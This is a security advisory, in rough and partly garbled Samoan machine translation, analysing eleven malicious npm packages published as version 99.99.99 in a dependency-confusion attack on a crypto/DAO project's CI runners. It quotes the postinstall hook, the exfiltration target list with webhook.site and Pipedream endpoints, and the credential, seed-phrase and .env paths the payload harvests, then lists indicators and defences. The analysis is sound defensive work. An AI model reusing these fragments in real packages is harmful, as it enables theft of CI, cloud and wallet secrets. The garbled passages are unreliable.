Fenumiai o CryptoDAO: Seleselega o Afifi npm CI/CD ma Mea Lilo Tau Tupe

Fenumiai o CryptoDAO: sefulutasi afifi npm, tasi le uta, seleselega CI/CD ma mea lilo o le atotupe crypto

TL; AMA

I le 2026-06-17, na lomia ai se tala npm e tasi sefulutasi afifi e tutusa le fa'amoemoega ma le uta e tasi. E to’asefulu o i latou e tauaveina le cryptodao- fa'aopoopoga (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); o le sefulutasi o le vaega ua fa'avasegaina @public-for-cdao/core. Sa lolomiina uma i le lomiga 99.99.99 ma lafo atu se byte tutusa recon.js e alu pea postinstall.

O igoa o le fa'ailoga lea. E pei o ni poloka faufale i totonu o se meafaigaluega tumaoti a se galuega crypto/DAO. Lomia i le resitala npm lautele i se lomiga maualuga fa'apitoa, latou te nonofo ma fa'atali mo se fausiaina pipeline ua fa'atulagaina e fo'ia na igoa ma e o'o atu i le npm lautele a'o le'i o'o i le — pe nai lo — le resitala tumaoti. O le mea lea fenumiai o le faalagolago, ma ua fa'atulaga le uta mo le mea tonu e fa'amoemoe e tulaueleele ai: CI/CD tagata tamoe.

a postinstall afi, recon.js aoina fa'amatalaga a le talimalo, fa'ata'amilomilo fa sefulu fesuia'iga o le siosiomaga o le ao, CI, ma le crypto-wallet, faitau so'o se .env faila e mafai ona ia mauaina ma faʻasolo atu laina faalilolilo i upu saʻo, ona faʻasolo atu lea o le afifi i ni tagata e toʻalua e aoina - webhook.site ma se pito i tua o le Pipedream — faatasi ai ma le faʻamaoniga o le tusi faamaonia a le TLS ua le atoatoa. O loʻo tusia foʻi se kopi i lalo o le /tmp.

Mamafa: maualuga. O le siosiomaga ua a'afia: npm. O afifi uma e sefulutasi sa fa'asalalauina i le taimi na tusia ai lenei mea.

Anatomi o le osofa'iga

E fa vaega fealua'i o le masini, ma e leai se tasi o ia mea e faigata ona malamalama i ai pe a e iloa. Va'ai i le vaega e tasi e sili atu i le igoa o le afifi.

1. Fa'afefeteina o le lomiga e fai ma maunu e foia ai faafitauli. O afifi taitasi e fa'ailoa mai le fa'aliliuga 99.99.99E aoga le fenumiai o le faalagolago pe a talosagaina e se pule o afifi, se igoa i totonu, e siaki fo'i le resitala a le lautele ma filifili le lomiga aupito maualuga finds. O le filifiliga masani a le npm mo se vaega o le caret poʻo le wildcard o le lomiga sili ona faamalieina i punaoa uma ua faatulagaina; afai o se lomiga tumaoti uma resitala ma le tali a le npm lautele mo le igoa lava e tasi, o le numera tele o le lomiga e manumalo. A 99.99.99 e sili atu lona tulaga nai lo so'o se fa'ata'ita'iga moni i totonu o se galuega faatino ua oʻo i ai, o lea e sili atu i se fofo e leʻi faʻapipiʻiina i le punaoa tumaoti le tagata lautele — ma i lenei tulaga, o se kopi fa'asauā. E le mana'omia e le tagata fa'agaoioia ona iloa le O fuainumera moni o le fa'ata'ita'iga a le sini; o le filifilia o se maualuga fa'avalevalea e mautinoa ai e tutusa i taimi uma motusia ai lo latou ala.

2. O se fa'agaoioiga pe a uma ona fa'apipi'i. afifi.json uaea le uta i le faʻapipiʻi taamilosaga o le olaga:

{   "scripts": { "postinstall": "node recon.js" } }

E le manaʻomia le faʻaulufaleina mai o le afifi. Naʻo le faʻapipiʻiina - lea e fai ma CI pipeline e otometi lava ona faia — e tamoe recon.js.

3. O se su'esu'ega faalilolilo lautele. recon.js faʻapotopoto se faʻasologa o taunuuga i ni laʻasaga:

  • Talaaga o le 'au talimalo: igoa o le 'au talimalo, fausaga ma le fa'alauiloaina, fausaga, igoa ole tagata fa'aoga, galuega tusitaiala.
  • Fesuiaiga o le siosiomaga: e toe fa'afouina ai se lisi mautu e tusa ma le fasefulu igoa ma fa'amaumauga so'o se mea ua setiina. O le lisi e fa'aalia ai - e fa'apipi'i fa'atasi ai fa'ailoga CI masani (CI_JOB_TOKEN, UPU FA'AALIGA CI_REGISTRY, GITLAB_ACCESS_TOKEN) ma le ao fa'ailoga (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) fa'atasi ai ma le resitala ma mea lilo o le koneteina (NPM_TOKEN, UPU FA'AALIA A LE DOCKER, UAFA_PASSWORD) ma se vaega fa'apitoa e iai le tofo fa'alilolilo:  KI_TUMATO'A, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC. O tau ua faamaumauina ua faapuupuuina i mataitusi muamua e 50.
  • .NS faila: e suʻesuʻeina se lisi o auala — .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ma le .gaosiga/.atina'e fesuiaiga — ma mo soʻo se faila o loʻo iai, e fa'amama mea o lo'o i totonu i laina e fetaui KI|MELILO|TOKEN|PASS|PRIVATE|MNEMONIC ma tuleia na laina **atoa, e le'i tipiina** i totonu o taunuuga.
  • O le anotusi o le Build-host: e lisiina ai uluaʻi faʻamaumauga e 20 o /fausia/, /home/gitlab-runner/fausaga/, /var/lib/gitlab-runner/, ma /tmp/.

O le lisi o ala ma le lisi o fesuiaʻiga ua faʻamamafaina agai i le au tamoʻe GitLab, lea e faʻasino i ai o le uta sa'o lava i le CI infrastructure e talimaloina e le tagata lava ia nai lo se tagata atia'e komepiuta feaveaʻi. O le faʻavasegaina o le lisi o seleselega e tusa ai ma le vaega e faʻafaigofie ai le seleselega fuafuaina:

katekoli Fesuiaiga / ala ua o'o i ai
CI/CD faasinomaga & fa'asalalau CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
ao AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Resitala & koneteina NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Faleoloa fa'amaumauga DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Crypto / poloka poloka PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
feau SLACK_TOKEN, DISCORD_TOKEN
I luga o le tisiketi .env aiga + /home/gitlab-runner/.env, /root/.env, /app/**/.env; lisi o fa'asinomaga o /builds/, /var/lib/gitlab-runner/

O le crypto cluster o le vaega lea e iloga ai lenei mea mai se CI-secret lautele salu: o fuaitau fatu atotupe ma ki saini e na'o le aliali mai i le siosiomaga o se poloketi poloka poloka, ma latou te fa'afanua sa'o i luga o le cryptodao/faʻailoga/konekarate faaigoaina o ē feaveaʻi.

4. Fa'aluaina o le fa'amamāina ma ua fa'agata le fa'amaoniga. O le fa'asologa ua aoina o fa'asolosolo ma POST i nofoaga e lua:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

te'enaE le'i fa'atagaina: sese tape siaki tusi faamaonia TLS mo le alu ese telefoni. O faʻamatalaga lava e tasi e lolomiina i le stdout (o lea e tulaueleele ai foʻi i totonu o ogalaau galuega a le CI) ma tusi atu i /tmp/.npm_recon_ .json. E foloina faalilolilo mea sese, o lea la o le lafoina ua le manuia e leai se fa'ailoga e tu'ua i le fa'atulagaga fa'apipi'i e sili atu nai lo le tasi [su'esu'ega] fa'apipi'iina i luga laina.

O se fa'amatalaga autū i le faila o lo'o fa'amatalaina ai o se "Fenumiai o le Fa'alagolago "Utaina o le Su'esu'ega." O le fa'apu'upu'uina o tau o le siosiomaga i le 50 mata'itusi ua o le foliga o se faʻamaoniga o le manatu. O le mea e tuleia ai i tua atu o se moli e naʻo le i ai o le .NS taulimaina: o laina faalilolilo e faʻagasolo atoa, ma o taunuʻuga o ni tagata e toʻalua e galulue, e pulea e le osofaʻiga ae le o se faatanoa e naʻo le faitauina lavea.

taimi faatulagaina

O le mamanu lolomi o le saini lea o se tulei tusitusia e tasi, ae le o le sefulutasi lafoina tuto'atasi.

Taimi (UTC, 2026-06-17) mea na Tutupu
03:24:58 cryptodao-bot@99.99.99 lomia faasalalau
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — fesuiaiga lautele, ~24 minute mulimuli ane

E sefulu afifi na fa'asalalauina i totonu o se vaitaimi e 29 sekone le umi, pe tusa ma le tasi i le tolu sekone. O le lautele @public-for-cdao/core sosoo ai pe tusa ma le 24 minute talu ona mavae — o le sekone faiga fa'aigoaina mo le sini lava e tasi, pe afai e fa'asino le galuega fa'atino i le meafaigaluega i totonu i lalo o se va'aiga nai lo na o ni igoa e le o ni igoa.

Fa'ailoga o le fetu'una'iga

ituaiga Faailoilo
Toso hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Toso hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Fa'apipi'i le matau postinstall: node recon.js
Faila ua pa'ū /tmp/.npm_recon_<timestamp>.json
Fa'ailoga o le ogalaau [recon] <pkg>@<ver> installed on <hostname> (stdout i totonu o ogalaau CI)
Faʻaaloalo rejectUnauthorized: false i luga o le HTTPS i fafo i le taimi o le fa'apipi'iina
Tupe Maua recon.js, tutusa i afifi uma e sefulutasi (tasi le fausiaina fa'asoa)
faʻamatalaga 99.99.99 i afifi uma
afifi cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (uma 99.99.99)
tagata lomitusi aduljune / aduljune@proton.me (e le'i fa'amaonia le imeli, leai se nofoaga e teu ai le punaoa ua feso'ota'i)

 Fa'asinomaga ma amioga ua matauina

O mea uma e uiga i le vaega e faasino i le tasi itu. O afifi uma e sefulutasi na lolomiina e le teugatupe npm tagata matutua (aduljune@proton.me, o se tuatusi e le'i fa'amaonia ma leai le nofoaga teu oloa feso'ota'i), i totonu o le 25 minute, i le taimi lava e tasi 99.99.99 lomiga, lafoina o se recon.js o latou anotusi e tutusa byte-i-byte i vaega ta'itasi afifi (e fetaui le MD5 i kopi uma e sefulutasi ua aveeseina). O le tasi lea uta ua fa'ailogaina i luga o se lisi o igoa, ae le o le toe fa'aaogaina tuto'atasi o tulafono.

O le lisi o igoa e faʻamatalaina ai le sini faʻamoemoeina. cryptodao-* ma cdao faamatala le le fa'atulagaga tumaoti o se galuega faatino crypto/DAO, ma le lisi o le seleselega a le uta fa'ata e mate'i: fa'atasi ai ma mea lilo lautele o le CI ma le ao, e fa'apitoa lava aapa atu mo KI_TUMATO'A, MNEMONIC, SEED_PHRASE, ma le Ethereum/BSC RPC ma ki o le kamupani tu'uina atu. O le .NS o auala su'esu'e ma lisi o fa'asinomaga o lo'o i le GitLab-runner patino. O le aafiaga e mafai ona matauina o soo se pipeline ua fa'asesēina i le fa'apipi'iina o nei mea o le a lafoina e igoa ana CI tokens, cloud ki, ma luga o le tisiki .NS mea lilo — ma, mo o se galuega faatino o le blockchain, o ana meafaitino tau atotupe — i ni tagata e to’alua e aoina mea.

Matou te le faia se tagi e uiga i le tagata e faʻagaoioia le teugatupe poʻo le a le mea na latou fuafua e fai i le faʻamaumauga. O mea moni e tu tutoʻatasi: o igoa e faʻatatau i se ituaiga faʻapitoa o o le filifili meafaigaluega i totonu, e faitau ma faʻasalalau e le uta ni mea lilo moni, ma le sa fa'agaoioia pea atina'e.

A'afiaga, aga masani, ma le ta'iala a le au puipui

Fa'alagolago fenumiai e tumau pea lona aogā ona e faʻaaogaina ai amioga a le tagata e foia faafitauli, ae le o se vaivaiga i so'o se afifi. O le avefe'au iinei e faigofie lava - sefulutasi e toetoe lava a gaogao afifi — ae o le radius o le pa e tusa lava po o le a pipeline e sili atu ona sese le npm lautele mo se igoa i totonu. O le CI runnings o le nofoaga sili ona leaga mo lena mea e tupu: latou te taofia tonu lava ia fa'ailoga ma .NS faila e faitauina e lenei uta, ma latou te faʻapipiʻiina fa'alagolago e le fegalegaleai, o lea la pe a uma ona fa'apipi'i e tamoe e aunoa ma se tasi e vaavaai mai.

E fetaui fo'i lenei vaega ma se mamanu o lo'o tatou va'aia pea: uta o le taimi e fa'apipi'i ai e tu'uina atu e pei o se "suʻesuʻega" poʻo se "suʻesuʻega" aʻo faia le aoina moni o tusipasi. O le faʻailoga i totonu o le faila e le suia ai le mea e fai e le code i luga o se runner. E lua filifiliga mamanu e tumau pea o le gaoioiga filemu: o fesoʻotaʻiga uma ma faila faila e afifiina i totonu o se o le tagata e taulimaina tuusaunoaga e tia'i ese ai mea sese, o lea la ua poloka le lafoina pe ua misi se faila e leai se fa'ai'uga fa'amaonia e maua mai ai, ma na'o le pau lava le mea o lo'o lolomiina o se fa'amatalaga e tasi e le afaina [recon] … ua fa'apipi'iina laina e fa'afefiloi ma le fa'apipi'iina masani o le talanoaga. O le fa'aaogaina o upega tafa'ilagi ma o le Pipedream o se faigofie fa'amoemoeina fo'i — e lua e leai se totogi, saunia vave auaunaga pu'eina o talosaga, o lea e le mana'omia ai e le fa'agaoioia ni 'au'aunaga o latou lava ma e foliga mai o latou taunuuga e pei o igoa masani a le SaaS i totonu o ogalaau egress.

O le tamaoaiga o le mea lea e taua ai le gauai atu i ai o se tagata puipui e ui lava i le e faigofie le code a le avefe'au. E leai se totogi o le resitalaina o igoa e sefulutasi, e tasi le uta kopiina o le faila i le sefulutasi taimi, ma e faia e le pule o afifi uma le faʻatinoina. E tasi le fa'asesē pipeline soo se mea e fa'aaogaina ai se tasi o nei igoa e totogi ai le aofa'i atoa faagaioiga.

Laasaga mautu mo le au puipuia:

  • Fa'apipi'i ni va'aiga i totonu i lau resitala tumaoti. Fa'atulaga le npm ina ia mafai ai ona fa'aigoaina igoa i totonu
     ma o scopes e foia na'o fa'asaga i lau resitala (scoped .npmrc registry mappings,
    po'o se sui e le pa'ū lava i le npm lautele mo avanoa igoa e umiaina). Fa'apolopolo au igoa lautele ina ia leai se isi e mafai ona lesitalaina.
  • Commit lockfiles ma fa'apipi'i i le –ignore-scripts i le CI pe a mafai, pe siaki le seti laiti o mea e faʻalagolago i ai e manaʻomia moni lava le faʻapipiʻiina o scripts.  E le mafai e le recon.js ona tamoe pe afai pe a uma ona fa'apipi'i e le o fa'atinoina.
  • Taulima se fa'aliliuga e 99.99.99 (po'o se isi fa'aliliuga maualuga tele) o se igoa e foliga mai i totonu e pei o se fu'a mumu i le iloiloga o mea e faalagolago i ai ma le mataituina o le resitala.
  • Lapata'iga pe a uma ona fa'apipi'i le taimi e alu ese ai. A pe a uma ona fa'apipi'i lea e tatala ai se HTTPS e alu ese atu feso'ota'iga — aemaise lava pe a fa'agata le fa'amaoniga o le tusi fa'amaonia — i E tatau ona poloka le webhook.site, Pipedream, po'o ni auaunaga fa'apena e pu'eina ai talosaga i le pito o le feso'ota'iga ma fa'ailoga i totonu o fa'amaumauga o le fausiaina.
  • Saili mo mea taulima. Siaki tagata tamo'e mo /tmp/.npm_recon_*.json ma mo le [recon] … ua fa'apipi'iina i luga o … fa'ailoga i totonu o tala fou a le CI. Afai e maua, fa'ata'amilo i taimi uma fa'amaoniga ua fa'aalia i lena mea pipeline — CI tokens, cloud ki, registry tokens, ma so'o se atotupe po'o ni private ki o lo'o iai i le siosiomaga po'o faila .env.

mau faasino

E leai ni lipoti mai fafo i luga o lenei vaega i le taimi na tusia ai lenei mea; o le auiliiliga o loʻo i luga e faʻavae saʻo lava i mea o loʻo i totonu o le afifi ua lolomiina

meafaigaluega-sca-polokalame-su'esu'ega-tu'ufa'atasiga
Fa'amuamua, toe fa'aleleia, ma puipui au tulaga lamatia o polokalama faakomepiuta
Maua lau Teugatupe e leai se totogi.
Leai se credit card e manaʻomia.

Puipui lau Atina'eina ma le Tu'uina Atu o Polokalama Faakomepiuta

fa'atasi ai ma le Xygeni Product Suite